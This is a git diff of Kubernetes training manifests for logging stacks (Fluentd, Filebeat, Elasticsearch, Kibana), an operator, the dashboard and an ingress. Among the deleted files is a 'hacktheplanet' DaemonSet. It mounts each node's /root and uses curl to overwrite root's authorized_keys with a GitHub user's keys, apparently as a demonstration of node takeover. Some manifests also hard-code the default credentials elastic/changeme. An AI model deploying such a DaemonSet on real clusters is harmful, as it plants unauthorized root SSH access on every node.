||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
namespace: eck-demo
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
---
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
apiVersion: kibana.k8s.elastic.co/v1
|
|
||||||
kind: Kibana
|
|
||||||
metadata:
|
|
||||||
name: demo
|
|
||||||
spec:
|
|
||||||
version: 7.5.1
|
|
||||||
count: 1
|
|
||||||
elasticsearchRef:
|
|
||||||
name: demo
|
|
||||||
namespace: eck-demo
|
|
||||||
http:
|
|
||||||
service:
|
|
||||||
spec:
|
|
||||||
type: NodePort
|
|
||||||
tls:
|
|
||||||
selfSignedCertificate:
|
|
||||||
disabled: true
|
|
||||||
File diff suppressed because it is too large
Load Diff
123
k8s/efk.yaml
123
k8s/efk.yaml
@@ -3,7 +3,7 @@ apiVersion: v1
|
|||||||
kind: ServiceAccount
|
kind: ServiceAccount
|
||||||
metadata:
|
metadata:
|
||||||
name: fluentd
|
name: fluentd
|
||||||
namespace: default
|
|
||||||
---
|
---
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||||
kind: ClusterRole
|
kind: ClusterRole
|
||||||
@@ -19,6 +19,7 @@ rules:
|
|||||||
- get
|
- get
|
||||||
- list
|
- list
|
||||||
- watch
|
- watch
|
||||||
|
|
||||||
---
|
---
|
||||||
kind: ClusterRoleBinding
|
kind: ClusterRoleBinding
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||||
@@ -32,22 +33,23 @@ subjects:
|
|||||||
- kind: ServiceAccount
|
- kind: ServiceAccount
|
||||||
name: fluentd
|
name: fluentd
|
||||||
namespace: default
|
namespace: default
|
||||||
|
|
||||||
---
|
---
|
||||||
apiVersion: apps/v1
|
apiVersion: extensions/v1beta1
|
||||||
kind: DaemonSet
|
kind: DaemonSet
|
||||||
metadata:
|
metadata:
|
||||||
name: fluentd
|
name: fluentd
|
||||||
namespace: default
|
|
||||||
labels:
|
labels:
|
||||||
app: fluentd
|
k8s-app: fluentd-logging
|
||||||
|
version: v1
|
||||||
|
kubernetes.io/cluster-service: "true"
|
||||||
spec:
|
spec:
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: fluentd
|
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
app: fluentd
|
k8s-app: fluentd-logging
|
||||||
|
version: v1
|
||||||
|
kubernetes.io/cluster-service: "true"
|
||||||
spec:
|
spec:
|
||||||
serviceAccount: fluentd
|
serviceAccount: fluentd
|
||||||
serviceAccountName: fluentd
|
serviceAccountName: fluentd
|
||||||
@@ -56,7 +58,7 @@ spec:
|
|||||||
effect: NoSchedule
|
effect: NoSchedule
|
||||||
containers:
|
containers:
|
||||||
- name: fluentd
|
- name: fluentd
|
||||||
image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
|
image: fluent/fluentd-kubernetes-daemonset:elasticsearch
|
||||||
env:
|
env:
|
||||||
- name: FLUENT_ELASTICSEARCH_HOST
|
- name: FLUENT_ELASTICSEARCH_HOST
|
||||||
value: "elasticsearch"
|
value: "elasticsearch"
|
||||||
@@ -64,12 +66,14 @@ spec:
|
|||||||
value: "9200"
|
value: "9200"
|
||||||
- name: FLUENT_ELASTICSEARCH_SCHEME
|
- name: FLUENT_ELASTICSEARCH_SCHEME
|
||||||
value: "http"
|
value: "http"
|
||||||
|
# X-Pack Authentication
|
||||||
|
# =====================
|
||||||
|
- name: FLUENT_ELASTICSEARCH_USER
|
||||||
|
value: "elastic"
|
||||||
|
- name: FLUENT_ELASTICSEARCH_PASSWORD
|
||||||
|
value: "changeme"
|
||||||
- name: FLUENT_UID
|
- name: FLUENT_UID
|
||||||
value: "0"
|
value: "0"
|
||||||
- name: FLUENTD_SYSTEMD_CONF
|
|
||||||
value: "disable"
|
|
||||||
- name: FLUENTD_PROMETHEUS_CONF
|
|
||||||
value: "disable"
|
|
||||||
resources:
|
resources:
|
||||||
limits:
|
limits:
|
||||||
memory: 200Mi
|
memory: 200Mi
|
||||||
@@ -90,87 +94,134 @@ spec:
|
|||||||
- name: varlibdockercontainers
|
- name: varlibdockercontainers
|
||||||
hostPath:
|
hostPath:
|
||||||
path: /var/lib/docker/containers
|
path: /var/lib/docker/containers
|
||||||
|
|
||||||
---
|
---
|
||||||
apiVersion: apps/v1
|
apiVersion: extensions/v1beta1
|
||||||
kind: Deployment
|
kind: Deployment
|
||||||
metadata:
|
metadata:
|
||||||
|
annotations:
|
||||||
|
deployment.kubernetes.io/revision: "1"
|
||||||
|
creationTimestamp: null
|
||||||
|
generation: 1
|
||||||
labels:
|
labels:
|
||||||
app: elasticsearch
|
run: elasticsearch
|
||||||
name: elasticsearch
|
name: elasticsearch
|
||||||
namespace: default
|
selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/elasticsearch
|
||||||
spec:
|
spec:
|
||||||
|
progressDeadlineSeconds: 600
|
||||||
|
replicas: 1
|
||||||
|
revisionHistoryLimit: 10
|
||||||
selector:
|
selector:
|
||||||
matchLabels:
|
matchLabels:
|
||||||
app: elasticsearch
|
run: elasticsearch
|
||||||
|
strategy:
|
||||||
|
rollingUpdate:
|
||||||
|
maxSurge: 1
|
||||||
|
maxUnavailable: 1
|
||||||
|
type: RollingUpdate
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
|
creationTimestamp: null
|
||||||
labels:
|
labels:
|
||||||
app: elasticsearch
|
run: elasticsearch
|
||||||
spec:
|
spec:
|
||||||
containers:
|
containers:
|
||||||
- image: elasticsearch:5
|
- image: elasticsearch:5.6.8
|
||||||
|
imagePullPolicy: IfNotPresent
|
||||||
name: elasticsearch
|
name: elasticsearch
|
||||||
resources:
|
resources: {}
|
||||||
limits:
|
terminationMessagePath: /dev/termination-log
|
||||||
memory: 2Gi
|
terminationMessagePolicy: File
|
||||||
requests:
|
|
||||||
memory: 1Gi
|
|
||||||
env:
|
env:
|
||||||
- name: ES_JAVA_OPTS
|
- name: ES_JAVA_OPTS
|
||||||
value: "-Xms1g -Xmx1g"
|
value: "-Xms1g -Xmx1g"
|
||||||
|
dnsPolicy: ClusterFirst
|
||||||
|
restartPolicy: Always
|
||||||
|
schedulerName: default-scheduler
|
||||||
|
securityContext: {}
|
||||||
|
terminationGracePeriodSeconds: 30
|
||||||
|
|
||||||
---
|
---
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Service
|
kind: Service
|
||||||
metadata:
|
metadata:
|
||||||
|
creationTimestamp: null
|
||||||
labels:
|
labels:
|
||||||
app: elasticsearch
|
run: elasticsearch
|
||||||
name: elasticsearch
|
name: elasticsearch
|
||||||
namespace: default
|
selfLink: /api/v1/namespaces/default/services/elasticsearch
|
||||||
spec:
|
spec:
|
||||||
ports:
|
ports:
|
||||||
- port: 9200
|
- port: 9200
|
||||||
protocol: TCP
|
protocol: TCP
|
||||||
targetPort: 9200
|
targetPort: 9200
|
||||||
selector:
|
selector:
|
||||||
app: elasticsearch
|
run: elasticsearch
|
||||||
|
sessionAffinity: None
|
||||||
type: ClusterIP
|
type: ClusterIP
|
||||||
|
|
||||||
---
|
---
|
||||||
apiVersion: apps/v1
|
apiVersion: extensions/v1beta1
|
||||||
kind: Deployment
|
kind: Deployment
|
||||||
metadata:
|
metadata:
|
||||||
|
annotations:
|
||||||
|
deployment.kubernetes.io/revision: "1"
|
||||||
|
creationTimestamp: null
|
||||||
|
generation: 1
|
||||||
labels:
|
labels:
|
||||||
app: kibana
|
run: kibana
|
||||||
name: kibana
|
name: kibana
|
||||||
namespace: default
|
selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/kibana
|
||||||
spec:
|
spec:
|
||||||
|
progressDeadlineSeconds: 600
|
||||||
|
replicas: 1
|
||||||
|
revisionHistoryLimit: 10
|
||||||
selector:
|
selector:
|
||||||
matchLabels:
|
matchLabels:
|
||||||
app: kibana
|
run: kibana
|
||||||
|
strategy:
|
||||||
|
rollingUpdate:
|
||||||
|
maxSurge: 1
|
||||||
|
maxUnavailable: 1
|
||||||
|
type: RollingUpdate
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
|
creationTimestamp: null
|
||||||
labels:
|
labels:
|
||||||
app: kibana
|
run: kibana
|
||||||
spec:
|
spec:
|
||||||
containers:
|
containers:
|
||||||
- env:
|
- env:
|
||||||
- name: ELASTICSEARCH_URL
|
- name: ELASTICSEARCH_URL
|
||||||
value: http://elasticsearch:9200/
|
value: http://elasticsearch:9200/
|
||||||
image: kibana:5
|
image: kibana:5.6.8
|
||||||
|
imagePullPolicy: Always
|
||||||
name: kibana
|
name: kibana
|
||||||
resources: {}
|
resources: {}
|
||||||
|
terminationMessagePath: /dev/termination-log
|
||||||
|
terminationMessagePolicy: File
|
||||||
|
dnsPolicy: ClusterFirst
|
||||||
|
restartPolicy: Always
|
||||||
|
schedulerName: default-scheduler
|
||||||
|
securityContext: {}
|
||||||
|
terminationGracePeriodSeconds: 30
|
||||||
|
|
||||||
---
|
---
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: Service
|
kind: Service
|
||||||
metadata:
|
metadata:
|
||||||
|
creationTimestamp: null
|
||||||
labels:
|
labels:
|
||||||
app: kibana
|
run: kibana
|
||||||
name: kibana
|
name: kibana
|
||||||
namespace: default
|
selfLink: /api/v1/namespaces/default/services/kibana
|
||||||
spec:
|
spec:
|
||||||
|
externalTrafficPolicy: Cluster
|
||||||
ports:
|
ports:
|
||||||
- port: 5601
|
- port: 5601
|
||||||
protocol: TCP
|
protocol: TCP
|
||||||
targetPort: 5601
|
targetPort: 5601
|
||||||
selector:
|
selector:
|
||||||
app: kibana
|
run: kibana
|
||||||
|
sessionAffinity: None
|
||||||
type: NodePort
|
type: NodePort
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
apiVersion: enterprises.upmc.com/v1
|
|
||||||
kind: ElasticsearchCluster
|
|
||||||
metadata:
|
|
||||||
name: es
|
|
||||||
spec:
|
|
||||||
kibana:
|
|
||||||
image: docker.elastic.co/kibana/kibana-oss:6.1.3
|
|
||||||
image-pull-policy: Always
|
|
||||||
cerebro:
|
|
||||||
image: upmcenterprises/cerebro:0.7.2
|
|
||||||
image-pull-policy: Always
|
|
||||||
elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
|
|
||||||
image-pull-policy: Always
|
|
||||||
client-node-replicas: 2
|
|
||||||
master-node-replicas: 3
|
|
||||||
data-node-replicas: 3
|
|
||||||
network-host: 0.0.0.0
|
|
||||||
use-ssl: false
|
|
||||||
data-volume-size: 10Gi
|
|
||||||
java-options: "-Xms512m -Xmx512m"
|
|
||||||
|
|
||||||
@@ -1,94 +0,0 @@
|
|||||||
# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Namespace
|
|
||||||
metadata:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
namespace: elasticsearch-operator
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
rules:
|
|
||||||
- apiGroups: ["extensions"]
|
|
||||||
resources: ["deployments", "replicasets", "daemonsets"]
|
|
||||||
verbs: ["create", "get", "update", "delete", "list"]
|
|
||||||
- apiGroups: ["apiextensions.k8s.io"]
|
|
||||||
resources: ["customresourcedefinitions"]
|
|
||||||
verbs: ["create", "get", "update", "delete", "list"]
|
|
||||||
- apiGroups: ["storage.k8s.io"]
|
|
||||||
resources: ["storageclasses"]
|
|
||||||
verbs: ["get", "list", "create", "delete", "deletecollection"]
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"]
|
|
||||||
verbs: ["create", "get", "update", "delete", "list"]
|
|
||||||
- apiGroups: ["batch"]
|
|
||||||
resources: ["cronjobs", "jobs"]
|
|
||||||
verbs: ["create", "get", "deletecollection", "delete"]
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["pods"]
|
|
||||||
verbs: ["list", "get", "watch"]
|
|
||||||
- apiGroups: ["apps"]
|
|
||||||
resources: ["statefulsets", "deployments"]
|
|
||||||
verbs: ["*"]
|
|
||||||
- apiGroups: ["enterprises.upmc.com"]
|
|
||||||
resources: ["elasticsearchclusters"]
|
|
||||||
verbs: ["*"]
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
namespace: elasticsearch-operator
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: elasticsearch-operator
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: elasticsearch-operator
|
|
||||||
namespace: elasticsearch-operator
|
|
||||||
---
|
|
||||||
apiVersion: extensions/v1beta1
|
|
||||||
kind: Deployment
|
|
||||||
metadata:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
namespace: elasticsearch-operator
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
name: elasticsearch-operator
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: operator
|
|
||||||
image: upmcenterprises/elasticsearch-operator:0.2.0
|
|
||||||
imagePullPolicy: Always
|
|
||||||
env:
|
|
||||||
- name: NAMESPACE
|
|
||||||
valueFrom:
|
|
||||||
fieldRef:
|
|
||||||
fieldPath: metadata.namespace
|
|
||||||
ports:
|
|
||||||
- containerPort: 8000
|
|
||||||
name: http
|
|
||||||
livenessProbe:
|
|
||||||
httpGet:
|
|
||||||
path: /live
|
|
||||||
port: 8000
|
|
||||||
initialDelaySeconds: 10
|
|
||||||
timeoutSeconds: 10
|
|
||||||
readinessProbe:
|
|
||||||
httpGet:
|
|
||||||
path: /ready
|
|
||||||
port: 8000
|
|
||||||
initialDelaySeconds: 10
|
|
||||||
timeoutSeconds: 5
|
|
||||||
serviceAccount: elasticsearch-operator
|
|
||||||
@@ -1,167 +0,0 @@
|
|||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ConfigMap
|
|
||||||
metadata:
|
|
||||||
name: filebeat-config
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
data:
|
|
||||||
filebeat.yml: |-
|
|
||||||
filebeat.config:
|
|
||||||
inputs:
|
|
||||||
# Mounted `filebeat-inputs` configmap:
|
|
||||||
path: ${path.config}/inputs.d/*.yml
|
|
||||||
# Reload inputs configs as they change:
|
|
||||||
reload.enabled: false
|
|
||||||
modules:
|
|
||||||
path: ${path.config}/modules.d/*.yml
|
|
||||||
# Reload module configs as they change:
|
|
||||||
reload.enabled: false
|
|
||||||
|
|
||||||
# To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
|
|
||||||
#filebeat.autodiscover:
|
|
||||||
# providers:
|
|
||||||
# - type: kubernetes
|
|
||||||
# hints.enabled: true
|
|
||||||
|
|
||||||
processors:
|
|
||||||
- add_cloud_metadata:
|
|
||||||
|
|
||||||
cloud.id: ${ELASTIC_CLOUD_ID}
|
|
||||||
cloud.auth: ${ELASTIC_CLOUD_AUTH}
|
|
||||||
|
|
||||||
output.elasticsearch:
|
|
||||||
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
|
|
||||||
username: ${ELASTICSEARCH_USERNAME}
|
|
||||||
password: ${ELASTICSEARCH_PASSWORD}
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ConfigMap
|
|
||||||
metadata:
|
|
||||||
name: filebeat-inputs
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
data:
|
|
||||||
kubernetes.yml: |-
|
|
||||||
- type: docker
|
|
||||||
containers.ids:
|
|
||||||
- "*"
|
|
||||||
processors:
|
|
||||||
- add_kubernetes_metadata:
|
|
||||||
in_cluster: true
|
|
||||||
---
|
|
||||||
apiVersion: extensions/v1beta1
|
|
||||||
kind: DaemonSet
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
spec:
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
spec:
|
|
||||||
serviceAccountName: filebeat
|
|
||||||
terminationGracePeriodSeconds: 30
|
|
||||||
containers:
|
|
||||||
- name: filebeat
|
|
||||||
image: docker.elastic.co/beats/filebeat-oss:7.0.1
|
|
||||||
args: [
|
|
||||||
"-c", "/etc/filebeat.yml",
|
|
||||||
"-e",
|
|
||||||
]
|
|
||||||
env:
|
|
||||||
- name: ELASTICSEARCH_HOST
|
|
||||||
value: elasticsearch-es.default.svc.cluster.local
|
|
||||||
- name: ELASTICSEARCH_PORT
|
|
||||||
value: "9200"
|
|
||||||
- name: ELASTICSEARCH_USERNAME
|
|
||||||
value: elastic
|
|
||||||
- name: ELASTICSEARCH_PASSWORD
|
|
||||||
value: changeme
|
|
||||||
- name: ELASTIC_CLOUD_ID
|
|
||||||
value:
|
|
||||||
- name: ELASTIC_CLOUD_AUTH
|
|
||||||
value:
|
|
||||||
securityContext:
|
|
||||||
runAsUser: 0
|
|
||||||
# If using Red Hat OpenShift uncomment this:
|
|
||||||
#privileged: true
|
|
||||||
resources:
|
|
||||||
limits:
|
|
||||||
memory: 200Mi
|
|
||||||
requests:
|
|
||||||
cpu: 100m
|
|
||||||
memory: 100Mi
|
|
||||||
volumeMounts:
|
|
||||||
- name: config
|
|
||||||
mountPath: /etc/filebeat.yml
|
|
||||||
readOnly: true
|
|
||||||
subPath: filebeat.yml
|
|
||||||
- name: inputs
|
|
||||||
mountPath: /usr/share/filebeat/inputs.d
|
|
||||||
readOnly: true
|
|
||||||
- name: data
|
|
||||||
mountPath: /usr/share/filebeat/data
|
|
||||||
- name: varlibdockercontainers
|
|
||||||
mountPath: /var/lib/docker/containers
|
|
||||||
readOnly: true
|
|
||||||
volumes:
|
|
||||||
- name: config
|
|
||||||
configMap:
|
|
||||||
defaultMode: 0600
|
|
||||||
name: filebeat-config
|
|
||||||
- name: varlibdockercontainers
|
|
||||||
hostPath:
|
|
||||||
path: /var/lib/docker/containers
|
|
||||||
- name: inputs
|
|
||||||
configMap:
|
|
||||||
defaultMode: 0600
|
|
||||||
name: filebeat-inputs
|
|
||||||
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
|
|
||||||
- name: data
|
|
||||||
hostPath:
|
|
||||||
path: /var/lib/filebeat-data
|
|
||||||
type: DirectoryOrCreate
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: filebeat
|
|
||||||
namespace: kube-system
|
|
||||||
roleRef:
|
|
||||||
kind: ClusterRole
|
|
||||||
name: filebeat
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
---
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
|
||||||
kind: ClusterRole
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
rules:
|
|
||||||
- apiGroups: [""] # "" indicates the core API group
|
|
||||||
resources:
|
|
||||||
- namespaces
|
|
||||||
- pods
|
|
||||||
verbs:
|
|
||||||
- get
|
|
||||||
- watch
|
|
||||||
- list
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
name: filebeat
|
|
||||||
namespace: kube-system
|
|
||||||
labels:
|
|
||||||
k8s-app: filebeat
|
|
||||||
---
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
apiVersion: apps/v1
|
|
||||||
kind: DaemonSet
|
|
||||||
metadata:
|
|
||||||
name: hacktheplanet
|
|
||||||
spec:
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
app: hacktheplanet
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
app: hacktheplanet
|
|
||||||
spec:
|
|
||||||
volumes:
|
|
||||||
- name: root
|
|
||||||
hostPath:
|
|
||||||
path: /root
|
|
||||||
tolerations:
|
|
||||||
- effect: NoSchedule
|
|
||||||
operator: Exists
|
|
||||||
initContainers:
|
|
||||||
- name: hacktheplanet
|
|
||||||
image: alpine
|
|
||||||
volumeMounts:
|
|
||||||
- name: root
|
|
||||||
mountPath: /root
|
|
||||||
command:
|
|
||||||
- sh
|
|
||||||
- -c
|
|
||||||
- "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
|
|
||||||
containers:
|
|
||||||
- name: web
|
|
||||||
image: nginx
|
|
||||||
|
|
||||||
@@ -9,7 +9,7 @@ spec:
|
|||||||
name: haproxy
|
name: haproxy
|
||||||
containers:
|
containers:
|
||||||
- name: haproxy
|
- name: haproxy
|
||||||
image: haproxy:1
|
image: haproxy
|
||||||
volumeMounts:
|
volumeMounts:
|
||||||
- name: config
|
- name: config
|
||||||
mountPath: /usr/local/etc/haproxy/
|
mountPath: /usr/local/etc/haproxy/
|
||||||
|
|||||||
@@ -1,13 +1,14 @@
|
|||||||
apiVersion: networking.k8s.io/v1beta1
|
apiVersion: extensions/v1beta1
|
||||||
kind: Ingress
|
kind: Ingress
|
||||||
metadata:
|
metadata:
|
||||||
name: whatever
|
name: cheddar
|
||||||
spec:
|
spec:
|
||||||
rules:
|
rules:
|
||||||
- host: whatever.A.B.C.D.nip.io
|
- host: cheddar.A.B.C.D.nip.io
|
||||||
http:
|
http:
|
||||||
paths:
|
paths:
|
||||||
- path: /
|
- path: /
|
||||||
backend:
|
backend:
|
||||||
serviceName: whatever
|
serviceName: cheddar
|
||||||
servicePort: 1234
|
servicePort: 80
|
||||||
|
|
||||||
|
|||||||
@@ -1,360 +0,0 @@
|
|||||||
# Copyright 2017 The Kubernetes Authors.
|
|
||||||
#
|
|
||||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
# you may not use this file except in compliance with the License.
|
|
||||||
# You may obtain a copy of the License at
|
|
||||||
#
|
|
||||||
# http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
#
|
|
||||||
# Unless required by applicable law or agreed to in writing, software
|
|
||||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
# See the License for the specific language governing permissions and
|
|
||||||
# limitations under the License.
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Namespace
|
|
||||||
metadata:
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: ServiceAccount
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: Service
|
|
||||||
apiVersion: v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
spec:
|
|
||||||
ports:
|
|
||||||
- port: 443
|
|
||||||
targetPort: 8443
|
|
||||||
selector:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Secret
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard-certs
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
type: Opaque
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Secret
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard-csrf
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
type: Opaque
|
|
||||||
data:
|
|
||||||
csrf: ""
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: v1
|
|
||||||
kind: Secret
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard-key-holder
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
type: Opaque
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: ConfigMap
|
|
||||||
apiVersion: v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard-settings
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: Role
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
rules:
|
|
||||||
# Allow Dashboard to get, update and delete Dashboard exclusive secrets.
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["secrets"]
|
|
||||||
resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
|
|
||||||
verbs: ["get", "update", "delete"]
|
|
||||||
# Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["configmaps"]
|
|
||||||
resourceNames: ["kubernetes-dashboard-settings"]
|
|
||||||
verbs: ["get", "update"]
|
|
||||||
# Allow Dashboard to get metrics.
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["services"]
|
|
||||||
resourceNames: ["heapster", "dashboard-metrics-scraper"]
|
|
||||||
verbs: ["proxy"]
|
|
||||||
- apiGroups: [""]
|
|
||||||
resources: ["services/proxy"]
|
|
||||||
resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
|
|
||||||
verbs: ["get"]
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: ClusterRole
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
rules:
|
|
||||||
# Allow Metrics Scraper to get metrics from the Metrics server
|
|
||||||
- apiGroups: ["metrics.k8s.io"]
|
|
||||||
resources: ["pods", "nodes"]
|
|
||||||
verbs: ["get", "list", "watch"]
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: RoleBinding
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: Role
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
|
||||||
kind: ClusterRoleBinding
|
|
||||||
metadata:
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
roleRef:
|
|
||||||
apiGroup: rbac.authorization.k8s.io
|
|
||||||
kind: ClusterRole
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
subjects:
|
|
||||||
- kind: ServiceAccount
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
kind: Deployment
|
|
||||||
apiVersion: apps/v1
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
name: kubernetes-dashboard
|
|
||||||
namespace: kubernetes-dashboard
|
|
||||||
spec:
|
|
||||||
replicas: 1
|
|
||||||
revisionHistoryLimit: 10
|
|
||||||
selector:
|
|
||||||
matchLabels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
template:
|
|
||||||
metadata:
|
|
||||||
labels:
|
|
||||||
k8s-app: kubernetes-dashboard
|
|
||||||
spec:
|
|
||||||
containers:
|
|
||||||
- name: kubernetes-dashboard
|
|
||||||
